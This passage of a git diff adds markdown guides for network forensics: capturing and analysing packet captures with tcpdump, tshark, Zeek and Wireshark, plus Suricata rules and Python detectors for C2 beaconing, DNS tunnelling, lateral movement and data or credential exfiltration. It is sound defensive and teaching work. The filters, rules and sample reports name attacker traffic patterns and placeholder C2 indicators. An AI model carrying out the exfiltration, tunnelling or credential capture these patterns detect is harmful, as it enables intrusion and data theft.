analysis +- ICMP covert channels identified through payload size anomalies +- Tunneling domains distinguished from legitimate CDN/cloud traffic +- Data exfiltration volume estimated from captured traffic +- C2 communication patterns and beaconing intervals extracted + +## References + +- [Palo Alto Unit42 - DNS Tunneling Campaigns](https://unit42.paloaltonetworks.com/three-dns-tunneling-campaigns/) +- [Elastic - Detecting Covert Data Exfiltration](https://www.elastic.co/blog/elastic-security-detecting-covert-data-exfiltration) +- [Vectra AI - ICMP Tunnel Detection](https://www.vectra.ai/detections/icmp-tunnel) +- [MITRE ATT&CK T1071 - Application Layer Protocol](https://attack.mitre.org/techniques/T1071/) diff --git a/skills/analyzing-network-covert-channels-in-malware/assets/template.md b/skills/analyzing-network-covert-channels-in-malware/assets/template.md new file mode 100644 index 00000000..efb9838f --- /dev/null +++ b/skills/analyzing-network-covert-channels-in-malware/assets/template.md @@ -0,0 +1,25 @@ +# Analysis Report Template - analyzing-network-covert-channels-in-malware + +## Sample Information +| Field | Value | +|-------|-------| +| SHA-256 | | +| File Type | | +| Analysis Date | | +| Analyst | | +| Classification | TLP:AMBER | + +## Findings +| Finding | Severity | Details | +|---------|----------|---------| +| | | | + +## IOCs Extracted +| Type | Value | Context | +|------|-------|---------| +| | | | + +## Recommendations +1. +2. +3. diff --git a/skills/analyzing-network-covert-channels-in-malware/references/standards.md b/skills/analyzing-network-covert-channels-in-malware/references/standards.md new file mode 100644 index 00000000..7abab110 --- /dev/null +++ b/skills/analyzing-network-covert-channels-in-malware/references/standards.md @@ -0,0 +1,9 @@ +# Standards Reference - analyzing-network-covert-channels-in-malware + +## Applicable Standards +- MITRE ATT&CK Framework +- NIST SP 800-83 Guide to Malware Incident Prevention +- NIST SP 800-86 Guide to Integrating Forensic Techniques + +## Related MITRE ATT&CK Techniques +See SKILL.md for specific technique mappings. diff --git a/skills/analyzing-network-covert-channels-in-malware/references/workflows.md b/skills/analyzing-network-covert-channels-in-malware/references/workflows.md new file mode 100644 index 00000000..0378ef98 --- /dev/null +++ b/skills/analyzing-network-covert-channels-in-malware/references/workflows.md @@ -0,0 +1,11 @@ +# Analysis Workflows - analyzing-network-covert-channels-in-malware + +## Primary Workflow +``` +[Sample Collection] --> [Static Analysis] --> [Dynamic Analysis] --> [IOC Extraction] + | + v + [Report Generation] +``` + +See SKILL.md for detailed step-by-step procedures. diff --git a/skills/analyzing-network-traffic-for-incidents/SKILL.md b/skills/analyzing-network-traffic-for-incidents/SKILL.md new file mode 100644 index 00000000..e59897ec --- /dev/null +++ b/skills/analyzing-network-traffic-for-incidents/SKILL.md @@ -0,0 +1,252 @@ +--- +name: analyzing-network-traffic-for-incidents +description: > + Analyzes network traffic captures and flow data to identify adversary activity during + security incidents, including command-and-control communications, lateral movement, + data exfiltration, and exploitation attempts. Uses Wireshark, Zeek, and NetFlow + analysis techniques. Activates for requests involving network traffic analysis, + packet capture investigation, PCAP analysis, network forensics, C2 traffic detection, + or exfiltration detection. +domain: cybersecurity +subdomain: incident-response +tags: [network-forensics, PCAP-analysis, Wireshark, Zeek, traffic-analysis] +version: 1.0.0 +author: mahipal +license: MIT +--- + +# Analyzing Network Traffic for Incidents + +## When to Use + +- SIEM alerts on anomalous network traffic patterns requiring deeper investigation +- C2 beaconing is suspected and needs confirmation through packet-level analysis +- Data exfiltration volume or destination must be quantified from network evidence +- Lateral movement between systems needs to be traced through network connections +- An IDS/IPS alert requires packet-level validation to confirm or dismiss + +**Do not use** for host-based forensic analysis (process execution, file system artifacts); use endpoint forensics tools instead. + +## Prerequisites + +- Full packet capture (PCAP) infrastructure or on-demand capture capability (network tap, SPAN port) +- Wireshark installed on the analysis workstation with appropriate display filters knowledge +- Zeek (formerly Bro) deployed for network metadata generation (conn.log, dns.log, http.log, ssl.log) +- NetFlow/IPFIX collection from network devices for traffic flow analysis +- Network architecture diagram showing VLAN layout, firewall placement, and monitoring points +- Threat intelligence feeds for correlating observed network indicators + +## Workflow + +### Step 1: Capture or Acquire Network Traffic + +Obtain the relevant traffic data for the investigation: + +**Live Capture (if incident is active):** +```bash +# Capture on specific interface filtering by host +tcpdump -i eth0 -w capture.pcap host 10.1.5.42 + +# Capture C2 traffic to specific external IP +tcpdump -i eth0 -w c2_traffic.pcap host 185.220.101.42 + +# Capture with rotation (1GB files, keep 10) +tcpdump -i eth0 -w capture_%Y%m%d%H%M.pcap -C 1000 -W 10 +``` + +**From Existing Infrastructure:** +- Export PCAP from full packet capture appliance (Arkime/Moloch, ExtraHop, Corelight) +- Pull Zeek logs from the Zeek cluster for the investigation timeframe +- Export NetFlow data from network devices for high-level traffic analysis + +### Step 2: Identify C2 Communications + +Detect command-and-control traffic patterns: + +**Beaconing Detection (Zeek conn.log):** +```bash +# Extract connections to external IPs with regular intervals +cat conn.log | zeek-cut ts id.orig_h id.resp_h id.resp_p duration orig_bytes resp_bytes \ + | awk '$4 ~ /^185\.220/' | sort -t. -k1,1n -k2,2n +``` + +**Wireshark Beacon Analysis:** +``` +# Filter for traffic to suspected C2 IP +ip.addr == 185.220.101.42 + +# Filter HTTPS traffic to non-standard ports +tcp.port != 443 && ssl + +# Filter DNS queries for suspicious domains +dns.qry.name contains "evil" or dns.qry.name matches "^[a-z0-9]{32}\." + +# Filter HTTP POST (common C2 check-in method) +http.request.method == "POST" && ip.dst == 185.220.101.42 +``` + +Beaconing characteristics to identify: +- Regular time intervals between connections (e.g., every 60 seconds with 10-15% jitter) +- Consistent packet sizes in requests and responses +- HTTPS to external IPs not associated with legitimate CDNs or services +- DNS queries with high entropy subdomains (DNS tunneling indicator) + +### Step 3: Analyze Lateral Movement Traffic + +Trace adversary movement between internal systems: + +``` +Key protocols for lateral movement detection: +━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +SMB (TCP 445): PsExec, file share access, ransomware propagation +RDP (TCP 3389): Remote desktop sessions +WinRM (TCP 5985): PowerShell remoting +WMI (TCP 135): Remote command execution +SSH (TCP 22): Linux lateral movement +DCE/RPC (TCP 135): DCOM-based lateral movement +``` + +**Wireshark Filters for Lateral Movement:** +``` +# SMB lateral movement +smb2 && ip.src == 10.1.5.42 && ip.dst != 10.1.5.42 + +# RDP connections from compromised host +tcp.dstport == 3389 && ip.src == 10.1.5.42 + +# Kerberos ticket requests (potential pass-the-ticket) +kerberos.msg_type == 12 && ip.src == 10.1.5.42 + +# NTLM authentication (potential pass-the-hash) +ntlmssp.auth.username && ip.src == 10.1.5.42 +``` + +### Step 4: Detect Data Exfiltration + +Identify unauthorized data transfers leaving the network: + +``` +# Identify large outbound transfers in Zeek conn.log +cat conn.log | zeek-cut ts id.orig_h id.resp_h id.resp_p orig_bytes \ + | awk '$5 > 100000000' | sort -t$'\t' -k5 -rn + +# DNS tunneling detection (high volume of TXT queries) +cat dns.log | zeek-cut query qtype | grep TXT | cut -f1 \ + | rev | cut -d. -f1,2 | rev | sort | uniq -c | sort -rn | head + +# Unusual protocol usage (ICMP tunneling, DNS over HTTPS) +cat conn.log | zeek-cut proto id.resp_p orig_bytes | awk '$1 == "icmp" && $3 > 1000' +``` + +**Wireshark Exfiltration Filters:** +``` +# Large HTTP POST uploads +http.request.method == "POST" && tcp.len > 10000 + +# FTP data transfers +ftp-data && ip.src == 10.0.0.0/8 + +# DNS with large TXT responses (tunneling) +dns.resp.type == 16 && dns.resp.len > 200 +``` + +### Step 5: Extract and Correlate IOCs + +Pull network-based indicators from traffic analysis: + +- External IP addresses contacted by compromised hosts +- Domains resolved via DNS during the incident timeframe +- URLs accessed via HTTP/HTTPS (if SSL inspection is in place) +- TLS certificate details (subject, issuer, serial number, JA3/JA3S hashes) +- User-Agent strings from HTTP requests +- File transfers captured in PCAP (extract using Wireshark Export Objects) + +### Step 6: Document Network Forensic Findings + +Compile analysis into a structured report with evidence references: + +- Reference specific PCAP files, frame numbers, and timestamps for each finding +- Include packet captures of key evidence as screenshots or exported PDFs +- Map network activity to the incident timeline +- Correlate network findings with host-based evidence from endpoint forensics + +## Key Concepts + +| Term | Definition | +|------|------------| +| **PCAP (Packet Capture)** | File format storing raw network packets captured from a network interface for offline analysis | +| **Beaconing** | Regular, periodic network connections from a compromised host to a C2 server, identifiable by consistent timing intervals | +| **JA3/JA3S** | TLS client and server fingerprinting method based on the ClientHello and ServerHello parameters; unique per application | +| **NetFlow/IPFIX** | Network traffic metadata (source, destination, ports, bytes, duration) collected by routers and switches without full packet capture | +| **DNS Tunneling** | Technique encoding data in DNS queries and responses to exfiltrate data or maintain C2 through DNS protocol | +| **Network Tap** | Hardware device that creates an exact copy of network traffic for monitoring without impacting network performance | +| **Zeek Logs** | Structured metadata logs generated by the Zeek network analysis framework covering connections, DNS, HTTP, SSL, and more | + +## Tools & Systems + +- **Wireshark**: Open-source packet analyzer for deep inspection of network protocols at the packet level +- **Zeek (formerly Bro)**: Network analysis framework generating structured metadata logs from live or captured traffic +- **Arkime (formerly Moloch)**: Open-source full packet capture and search platform for large-scale network forensics +- **NetworkMiner**: Network forensic analysis tool for extracting files, images, and credentials from PCAP files +- **RITA (Real Intelligence Threat Analytics)**: Open-source beacon detection and DNS tunneling analysis tool for Zeek logs + +## Common Scenarios + +### Scenario: Confirming C2 Beaconing and Quantifying Exfiltration + +**Context**: EDR detects a suspicious process on a workstation but cannot determine the volume of data exfiltrated. Network team provides PCAP from the full packet capture appliance covering the incident timeframe. + +**Approach**: +1. Filter PCAP to traffic from the compromised host IP to external destinations +2. Identify the C2 channel by analyzing connection timing patterns (beacon detection) +3. Extract TLS certificate and JA3 hash from the C2 connection for IOC generation +4. Calculate total bytes transferred to C2 infrastructure over the incident duration +5. Check for additional exfiltration channels (DNS tunneling, cloud storage uploads) +6. Extract any unencrypted files transferred using Wireshark Export Objects feature + +**Pitfalls**: +- Analyzing only HTTP traffic when C2 is operating over HTTPS without SSL inspection +- Missing DNS tunneling because the data volume per query is small (but total over time is significant) +- Not correlating network timestamps with endpoint timestamps (timezone mismatches) +- Overlooking legitimate cloud services abused for exfiltration (OneDrive, Google Drive, Dropbox) + +## Output Format + +``` +NETWORK TRAFFIC ANALYSIS REPORT +================================= +Incident: INC-2025-1547 +Analyst: [Name] +Capture Source: Arkime full packet capture +Analysis Period: 2025-11-15 14:00 UTC - 2025-11-15 18:00 UTC +Total PCAP Size: 4.7 GB + +C2 COMMUNICATIONS +Source: 10.1.5.42 (WKSTN-042) +Destination: 185.220.101.42:443 (HTTPS) +Beacon Interval: 60 seconds ± 12% jitter +Sessions: 237 connections over 4 hours +JA3 Hash: a0e9f5d64349fb13191bc781f81f42e1 +TLS Certificate: CN=update.evil[.]com (self-signed) +Total Data Sent: 147 MB (outbound) +Total Data Recv: 2.3 MB (inbound - commands) + +LATERAL MOVEMENT +10.1.5.42 → 10.1.10.15 (SMB, TCP 445) - 14:35 UTC +10.1.5.42 → 10.1.10.20 (RDP, TCP 3389) - 14:42 UTC +10.1.5.42 → 10.1.1.5 (LDAP, TCP 389) - 15:10 UTC + +EXFILTRATION SUMMARY +Protocol: HTTPS to C2 server +Volume: 147 MB outbound +Duration: 14:23 UTC - 18:00 UTC +Files Extracted: [list if recoverable from unencrypted channels] + +DNS ANALYSIS +Suspicious Queries: 0 DNS tunneling indicators +DGA Detection: 0 algorithmically generated domains + +EVIDENCE REFERENCES +PCAP File: INC-2025-1547_capture.pcap (SHA-256: ...) +Zeek Logs: /logs/zeek/2025-11-15/ (conn.log, ssl.log, dns.log) +``` diff --git a/skills/analyzing-network-traffic-of-malware/SKILL.md b/skills/analyzing-network-traffic-of-malware/SKILL.md new file mode 100644 index 00000000..dc8b1a25 --- /dev/null +++ b/skills/analyzing-network-traffic-of-malware/SKILL.md @@ -0,0 +1,324 @@ +--- +name: analyzing-network-traffic-of-malware +description: > + Analyzes network traffic generated by malware during sandbox execution or live incident + response to identify C2 protocols, data exfiltration channels, payload downloads, and + lateral movement patterns using Wireshark, Zeek, and Suricata. Activates for requests + involving malware network analysis, C2 traffic decoding, malware PCAP analysis, or + network-based malware detection. +domain: cybersecurity +subdomain: malware-analysis +tags: [malware, network-analysis, PCAP, Wireshark, C2-detection] +version: 1.0.0 +author: mahipal +license: MIT +--- + +# Analyzing Network Traffic of Malware + +## When to Use + +- Sandbox execution has captured a PCAP file and the network behavior needs detailed analysis +- Identifying the C2 protocol structure for writing network detection signatures +- Determining what data the malware exfiltrates and to which external infrastructure +- Analyzing DNS tunneling, domain generation algorithms (DGA), or fast-flux behavior +- Creating Suricata/Snort signatures based on observed malware network patterns + +**Do not use** for host-based analysis of malware behavior; use Cuckoo sandbox reports or Volatility memory analysis for process-level activity. + +## Prerequisites + +- Wireshark 4.x installed for interactive PCAP analysis +- tshark (Wireshark CLI) for scripted packet extraction +- Zeek installed for automated metadata generation from PCAPs +- Suricata with ET Open/ET Pro rulesets for signature matching +- NetworkMiner for file extraction and credential detection from PCAPs +- Python 3.8+ with `scapy` and `dpkt` for programmatic packet analysis + +## Workflow + +### Step 1: Initial PCAP Overview + +Get a high-level understanding of the network traffic: + +```bash +# Capture statistics +capinfos malware.pcap + +# Protocol hierarchy +tshark -r malware.pcap -q -z io,phs + +# Endpoint statistics (top talkers) +tshark -r malware.pcap -q -z endpoints,ip + +# Conversation statistics +tshark -r malware.pcap -q -z conv,tcp + +# DNS query summary +tshark -r malware.pcap -q -z dns,tree +``` + +### Step 2: Analyze DNS Activity + +Examine DNS queries for DGA, tunneling, or C2 domain resolution: + +```bash +# Extract all DNS queries +tshark -r malware.pcap -T fields -e frame.time -e dns.qry.name -e dns.a \ + -Y "dns.flags.response == 1" | sort + +# Detect DGA patterns (high entropy domain names) +python3 << 'PYEOF' +import math +from collections import Counter + +def entropy(s): + p = [n/len(s) for n in Counter(s).values()] + return -sum(pi * math.log2(pi) for pi in p if pi > 0) + +# Parse DNS queries from tshark output +import subprocess +result = subprocess.run( + ["tshark", "-r", "malware.pcap", "-T", "fields", "-e", "dns.qry.name", + "-Y", "dns.flags.response == 0"], + capture_output=True, text=True +) + +domains = set(result.stdout.strip().split('\n')) +print("Suspicious DNS queries (high entropy):") +for domain in domains: + if domain: + subdomain = domain.split('.')[0] + ent = entropy(subdomain) + if ent > 3.5 and len(subdomain) > 10: + print(f" {domain} (entropy: {ent:.2f})") +PYEOF + +# Detect DNS tunneling (large TXT responses) +tshark -r malware.pcap -T fields -e dns.qry.name -e dns.txt \ + -Y "dns.resp.type == 16 and dns.resp.len > 100" +``` + +### Step 3: Analyze HTTP/HTTPS C2 Communication + +Examine web-based command-and-control traffic: + +```bash +# Extract HTTP requests +tshark -r malware.pcap -T fields \ + -e frame.time -e ip.src -e ip.dst -e http.host \ + -e http.request.method -e http.request.uri -e http.user_agent \ + -Y "http.request" + +# Extract HTTP response bodies (potential payload downloads) +tshark -r malware.pcap -T fields \ + -e http.host -e http.request.uri -e http.content_type -e tcp.len \ + -Y "http.response and tcp.len > 1000" + +# Extract POST data (potential exfiltration) +tshark -r malware.pcap -T fields \ + -e http.host -e http.request.uri -e http.file_data \ + -Y "http.request.method == POST" + +# TLS analysis (SNI, JA3 fingerprints) +tshark -r malware.pcap -T fields \ + -e tls.handshake.extensions_server_name \ + -e tls.handshake.ja3 \ + -Y "tls.handshake.type == 1" + +# Extract TLS certificate details +tshark -r malware.pcap -T fields \ + -e x509ce.dNSName -e x509af.serialNumber \ + -e x509sat.utf8String \ + -Y "tls.handshake.type == 11" + +# Export HTTP objects (downloaded files) +tshark -r malware.pcap --export-objects http,exported_files/ +``` + +### Step 4: Detect Beaconing Patterns + +Identify regular periodic communication indicating C2 beaconing: + +```python +# Beacon detection from PCAP +from scapy.all import rdpcap, IP, TCP +from collections import defaultdict +import statistics + +packets = rdpcap("malware.pcap") + +# Group connections by destination IP:port +connections = defaultdict(list) +for pkt in packets: + if IP in pkt and TCP in pkt: + if pkt[TCP].flags & 0x02: # SYN flag + dst = f"{pkt[IP].dst}:{pkt[TCP].dport}" + connections[dst].append(float(pkt.time)) + +# Analyze timing intervals for beaconing +print("Beacon Analysis:") +for dst, times in connections.items(): + if len(times) >= 5: + intervals = [times[i+1] - times[i] for i in range(len(times)-1)] + avg = statistics.mean(intervals) + stdev = statistics.stdev(intervals) if len(intervals) > 1 else 0 + jitter = (stdev / avg * 100) if avg > 0 else 0 + + if 10 < avg < 3600 and jitter < 30: # Regular interval with < 30% jitter + print(f" [!] {dst}: {len(times)} connections") + print(f" Interval: {avg:.1f}s ± {stdev:.1f}s (jitter: {jitter:.1f}%)") + print(f" Pattern: LIKELY BEACONING") +``` + +### Step 5: Generate Network Detection Signatures + +Create Suricata/Snort rules from observed traffic patterns: + +```bash +# Run Suricata against the PCAP for existing signature matches +suricata -r malware.pcap -l suricata_output/ -c /etc/suricata/suricata.yaml + +# Review alerts +cat suricata_output/fast.log + +# Create custom Suricata rule from observed patterns +cat << 'EOF' > custom_malware.rules +# C2 beacon detection based on observed URI pattern +alert http $HOME_NET any -> $EXTERNAL_NET any ( + msg:"MALWARE MalwareX C2 Beacon"; + flow:established,to_server; + http.method; content:"POST"; + http.uri; content:"/gate.php?id="; + http.user_agent; content:"Mozilla/5.0 (compatible; MSIE 10.0)"; + sid:9000001; rev:1; +) + +# DNS query for known C2 domain +alert dns $HOME_NET any -> any any ( + msg:"MALWARE MalwareX C2 DNS Query"; + dns.query; content:"update.malicious.com"; + sid:9000002; rev:1; +) + +# JA3 hash match for malware TLS client +alert tls $HOME_NET any -> $EXTERNAL_NET any ( + msg:"MALWARE MalwareX JA3 Match"; + ja3.hash; content:"a0e9f5d64349fb13191bc781f81f42e1"; + sid:9000003; rev:1; +) +EOF +``` + +### Step 6: Extract Files and Artifacts from Traffic + +Recover transferred files and embedded data: + +```bash +# Extract files using Zeek +zeek -r malware.pcap /opt/zeek/share/zeek/policy/frameworks/files/extract-all-files.zeek +ls extract_files/ + +# Extract files using NetworkMiner (GUI) +# Or use tshark for specific protocol exports +tshark -r malware.pcap --export-objects http,http_objects/ +tshark -r malware.pcap --export-objects smb,smb_objects/ +tshark -r malware.pcap --export-objects tftp,tftp_objects/ + +# Hash all extracted files +sha256sum http_objects/* smb_objects/* 2>/dev/null + +# Generate Zeek logs for comprehensive metadata +zeek -r malware.pcap +# Output: conn.log, dns.log, http.log, ssl.log, files.log, etc. +``` + +## Key Concepts + +| Term | Definition | +|------|------------| +| **Beaconing** | Regular periodic connections from malware to C2 server, identifiable by consistent time intervals and packet sizes | +| **JA3/JA3S** | TLS fingerprinting method creating a hash from ClientHello/ServerHello parameters to uniquely identify malware TLS implementations | +| **DGA (Domain Generation Algorithm)** | Algorithm generating pseudo-random domain names that malware queries to locate C2 servers, evading static domain blocklists | +| **DNS Tunneling** | Encoding data in DNS queries and responses to establish a C2 channel or exfiltrate data through DNS infrastructure | +| **Fast Flux** | DNS technique rapidly rotating IP addresses for a domain to avoid takedown and distribute C2 across many compromised hosts | +| **SNI (Server Name Indication)** | TLS extension revealing the hostname the client is connecting to; visible even in encrypted HTTPS connections | +| **Network Signature** | Suricata/Snort rule matching specific patterns in network traffic (headers, payloads, timing) to detect malicious communications | + +## Tools & Systems + +- **Wireshark**: Open-source packet analyzer for deep interactive inspection of network traffic at the protocol level +- **Zeek**: Network analysis framework generating structured metadata logs (conn, dns, http, ssl) from live or captured traffic +- **Suricata**: High-performance network IDS/IPS for signature-based detection with Lua scripting for custom detection logic +- **NetworkMiner**: Network forensic analysis tool for extracting files, images, and credentials from PCAP files +- **Scapy**: Python packet manipulation library for programmatic packet analysis, beacon detection, and protocol decoding + +## Common Scenarios + +### Scenario: Decoding a Custom Binary C2 Protocol + +**Context**: Malware communicates with its C2 server using a custom binary protocol over TCP port 8443. Standard HTTP analysis yields no results. The protocol structure needs to be reverse engineered from the PCAP. + +**Approach**: +1. Filter the PCAP for TCP port 8443 conversations and follow the TCP stream +2. Identify the message framing (length prefix, delimiter, fixed-size headers) +3. Compare multiple messages to identify static header fields vs variable data fields +4. Cross-reference with reverse engineering findings from Ghidra (if the binary was analyzed) +5. Write a Wireshark dissector or Scapy parser for the custom protocol +6. Create Suricata rules matching the static header bytes for network detection +7. Document the full protocol specification for threat intelligence sharing + +**Pitfalls**: +- Analyzing only the first few packets; some C2 protocols change behavior after initial handshake +- Not decrypting TLS traffic when the sandbox has MITM capabilities +- Confusing legitimate CDN or cloud traffic with C2 (validate destination IPs) +- Missing C2 traffic that uses DNS or ICMP instead of TCP/UDP + +## Output Format + +``` +MALWARE NETWORK TRAFFIC ANALYSIS +=================================== +PCAP File: malware_sandbox.pcap +Duration: 300 seconds +Total Packets: 12,847 +Total Bytes: 4.2 MB + +DNS ACTIVITY +Total Queries: 47 +DGA Detected: Yes (23 high-entropy queries to .com TLD) +Tunneling: No +Resolved C2: update.malicious[.]com -> 185.220.101[.]42 + +C2 COMMUNICATION +Protocol: HTTPS (TLS 1.2) +Server: 185.220.101[.]42:443 +SNI: update.malicious[.]com +JA3 Hash: a0e9f5d64349fb13191bc781f81f42e1 +Beacon Interval: 60.2s ± 6.8s (11.3% jitter) +Total Sessions: 237 +Data Sent: 147 MB +Data Received: 2.3 MB +Certificate: CN=update.malicious[.]com (self-signed, expired) + +PAYLOAD DOWNLOADS +GET /payload.dll from compromised-site[.]com + Size: 98,304 bytes + SHA-256: abc123def456... + Content-Type: application/octet-stream + +EXFILTRATION +Method: HTTPS POST to /gate.php +Content-Type: application/octet-stream +Average Size: 15,432 bytes per request +Total Volume: 147 MB over 4 hours + +SURICATA ALERTS +[1:2028401] ET MALWARE Generic C2 Beacon Pattern +[1:2028500] ET POLICY Self-Signed Certificate + +GENERATED SIGNATURES +SID 9000001: MalwareX HTTP beacon pattern +SID 9000002: MalwareX DNS C2 domain +SID 9000003: MalwareX JA3 TLS fingerprint +``` diff --git a/skills/analyzing-network-traffic-with-wireshark/SKILL.md b/skills/analyzing-network-traffic-with-wireshark/SKILL.md new file mode 100644 index 00000000..16c3bc21 --- /dev/null +++ b/skills/analyzing-network-traffic-with-wireshark/SKILL.md @@ -0,0 +1,218 @@ +--- +name: analyzing-network-traffic-with-wireshark +description: > + Captures and analyzes network packet data using Wireshark and tshark to identify + malicious traffic patterns, diagnose protocol issues, extract artifacts, and + support incident response investigations on authorized network segments. +domain: cybersecurity +subdomain: network-security +tags: [network-security, wireshark, packet-analysis, traffic-analysis, pcap] +version: "1.0" +author: mahipal +license: MIT +--- +# Analyzing Network Traffic with Wireshark + +## When to Use + +- Investigating suspected network intrusions by examining packet-level evidence of command-and-control traffic, data exfiltration, or lateral movement +- Diagnosing network performance issues such as retransmissions, fragmentation, or DNS resolution failures +- Analyzing malware communication patterns by capturing traffic from sandboxed or isolated hosts +- Validating firewall and IDS rules by confirming what traffic is actually traversing network segments +- Extracting files, credentials, or indicators of compromise from captured network sessions + +**Do not use** to capture traffic on networks without authorization, to intercept private communications without legal authority, or as a substitute for full-featured SIEM platforms in production monitoring. + +## Prerequisites + +- Wireshark 4.0+ and tshark command-line utility installed +- Root/sudo privileges or membership in the `wireshark` group for live packet capture +- Network interface access (physical NIC, span port, or network tap) to the monitored segment +- Sufficient disk space for packet capture files (estimate 1 GB per minute on busy gigabit links) +- Familiarity with TCP/IP protocols, HTTP, DNS, TLS, and SMB at the packet level + +## Workflow + +### Step 1: Configure Capture Environment + +Set up the capture interface and filters to target relevant traffic: + +```bash +# List available interfaces +tshark -D + +# Start capture on eth0 with a capture filter to limit scope +tshark -i eth0 -f "host 10.10.5.23 and (port 80 or port 443 or port 445)" -w /tmp/capture.pcapng + +# Capture with ring buffer to manage disk usage (10 files, 100MB each) +tshark -i eth0 -b filesize:102400 -b files:10 -w /tmp/rolling_capture.pcapng + +# Capture on multiple interfaces simultaneously +tshark -i eth0 -i eth1 -w /tmp/multi_interface.pcapng +``` + +For Wireshark GUI, set capture filter in the Capture Options dialog before starting. + +### Step 2: Apply Display Filters for Targeted Analysis + +```bash +# Filter HTTP traffic containing suspicious user agents +tshark -r capture.pcapng -Y "http.user_agent contains \"curl\" or http.user_agent contains \"Wget\"" + +# Find DNS queries to suspicious TLDs +tshark -r capture.pcapng -Y "dns.qry.name contains \".xyz\" or dns.qry.name contains \".top\" or dns.qry.name contains \".tk\"" + +# Identify TCP retransmissions indicating network issues +tshark -r capture.pcapng -Y "tcp.analysis.retransmission" + +# Filter SMB traffic for lateral movement detection +tshark -r capture.pcapng -Y "smb2.cmd == 5 or smb2.cmd == 3" -T fields -e ip.src -e ip.dst -e smb2.filename + +# Find cleartext credential transmission +tshark -r capture.pcapng -Y "ftp.request.command == \"PASS\" or http.authbasic" + +# Detect beaconing patterns (regular interval connections) +tshark -r capture.pcapng -Y "ip.dst == 203.0.113.50" -T fields -e frame.time_relative -e ip.src -e tcp.dstport +``` + +### Step 3: Protocol-Specific Deep Analysis + +```bash +# Follow a TCP stream to reconstruct a conversation +tshark -r capture.pcapng -q -z follow,tcp,ascii,0 + +# Analyze HTTP request/response pairs +tshark -r capture.pcapng -Y "http" -T fields -e frame.time -e ip.src -e ip.dst -e http.request.method -e http.request.uri -e http.response.code + +# Extract DNS query/response statistics +tshark -r capture.pcapng -q -z dns,tree + +# Analyze TLS handshakes for weak cipher suites +tshark -r capture.pcapng -Y "tls.handshake.type == 2" -T fields -e ip.src -e ip.dst -e tls.handshake.ciphersuite + +# SMB file access enumeration +tshark -r capture.pcapng -Y "smb2" -T fields -e frame.time -e ip.src -e ip.dst -e smb2.filename -e smb2.cmd +``` + +### Step 4: Extract Artifacts and IOCs + +```bash +# Export HTTP objects (files transferred over HTTP) +tshark -r capture.pcapng --export-objects http,/tmp/http_objects/ + +# Export SMB objects (files transferred over SMB) +tshark -r capture.pcapng --export-objects smb,/tmp/smb_objects/ + +# Extract all unique destination IPs for threat intelligence lookup +tshark -r capture.pcapng -T fields -e ip.dst | sort -u > unique_dest_ips.txt + +# Extract SSL/TLS certificate information +tshark -r capture.pcapng -Y "tls.handshake.type == 11" -T fields -e x509sat.uTF8String -e x509ce.dNSName + +# Extract all URLs accessed +tshark -r capture.pcapng -Y "http.request" -T fields -e http.host -e http.request.uri | sort -u > urls.txt + +# Hash extracted files for IOC matching +find /tmp/http_objects/ -type f -exec sha256sum {} \; > extracted_file_hashes.txt +``` + +### Step 5: Statistical Analysis and Anomaly Detection + +```bash +# Protocol hierarchy statistics +tshark -r capture.pcapng -q -z io,phs + +# Conversation statistics sorted by bytes +tshark -r capture.pcapng -q -z conv,tcp -z conv,udp + +# Identify top talkers +tshark -r capture.pcapng -q -z endpoints,ip + +# IO graph data (packets per second) +tshark -r capture.pcapng -q -z io,stat,1,"COUNT(frame) frame" + +# Detect port scanning patterns +tshark -r capture.pcapng -Y "tcp.flags.syn == 1 and tcp.flags.ack == 0" -T fields -e ip.src -e tcp.dstport | sort | uniq -c | sort -rn | head -20 +``` + +### Step 6: Generate Reports and Export Evidence + +```bash +# Export filtered packets to a new PCAP for evidence preservation +tshark -r capture.pcapng -Y "ip.addr == 10.10.5.23 and tcp.port == 4444" -w evidence_c2_traffic.pcapng + +# Generate packet summary in CSV format +tshark -r capture.pcapng -T fields -E header=y -E separator=, -e frame.number -e frame.time -e ip.src -e ip.dst -e ip.proto -e tcp.srcport -e tcp.dstport -e frame.len > traffic_summary.csv + +# Create PDML (XML) output for programmatic analysis +tshark -r capture.pcapng -T pdml > capture_analysis.xml + +# Calculate capture file hash for chain of custody +sha256sum capture.pcapng > capture_hash.txt +``` + +## Key Concepts + +| Term | Definition | +|------|------------| +| **Capture Filter (BPF)** | Berkeley Packet Filter syntax applied at capture time to limit which packets are recorded, reducing file size and improving performance | +| **Display Filter** | Wireshark-specific filter syntax applied to already-captured packets for focused analysis without altering the capture file | +| **PCAPNG** | Next-generation packet capture format supporting multiple interfaces, name resolution, annotations, and metadata in a single file | +| **TCP Stream** | Reassembled sequence of TCP segments representing a complete bidirectional conversation between two endpoints | +| **Protocol Dissector** | Wireshark module that decodes a specific protocol's fields and structure, enabling deep inspection of packet contents | +| **IO Graph** | Time-series visualization of packet or byte rates over the capture duration, useful for identifying traffic spikes or beaconing | + +## Tools & Systems + +- **Wireshark 4.0+**: GUI-based packet analyzer with protocol dissectors for 3,000+ protocols, stream reassembly, and export capabilities +- **tshark**: Command-line version of Wireshark for headless capture, batch processing, and scripted analysis pipelines +- **tcpdump**: Lightweight packet capture tool for quick captures on remote systems without GUI dependencies +- **mergecap**: Wireshark utility for combining multiple capture files into a single PCAP for unified analysis +- **editcap**: Wireshark utility for splitting, filtering, and converting between capture file formats + +## Common Scenarios + +### Scenario: Investigating Suspected Data Exfiltration via DNS Tunneling + +**Context**: The SOC team detected unusually high DNS query volumes from a workstation (10.10.3.45) to an external domain. The SIEM alert flagged DNS queries averaging 200 per minute compared to the baseline of 15. A packet capture was initiated from the network tap on the workstation's VLAN. + +**Approach**: +1. Capture traffic from the workstation's subnet using `tshark -i eth2 -f "host 10.10.3.45 and port 53" -w dns_exfil_investigation.pcapng` +2. Analyze DNS query patterns: `tshark -r dns_exfil_investigation.pcapng -Y "dns.qry.name contains \"suspect-domain.xyz\"" -T fields -e frame.time -e dns.qry.name` +3. Examine subdomain labels for encoded data (long base64-like subdomains indicate tunneling): `tshark -r dns_exfil_investigation.pcapng -Y "dns.qry.type == 16" -T fields -e dns.qry.name -e dns.txt` +4. Calculate data volume by summing query name lengths to estimate exfiltration bandwidth +5. Extract unique query names and decode base64 subdomains to recover exfiltrated content +6. Export evidence packets to a separate PCAP and generate SHA-256 hash for chain of custody + +**Pitfalls**: +- Capturing unfiltered traffic on a busy network and running out of disk space before collecting relevant data +- Using display filters instead of capture filters, resulting in massive files that are slow to process +- Overlooking encrypted DNS (DoH/DoT) traffic that bypasses traditional DNS capture on port 53 +- Failing to establish packet capture hash and chain of custody documentation for forensic evidence + +## Output 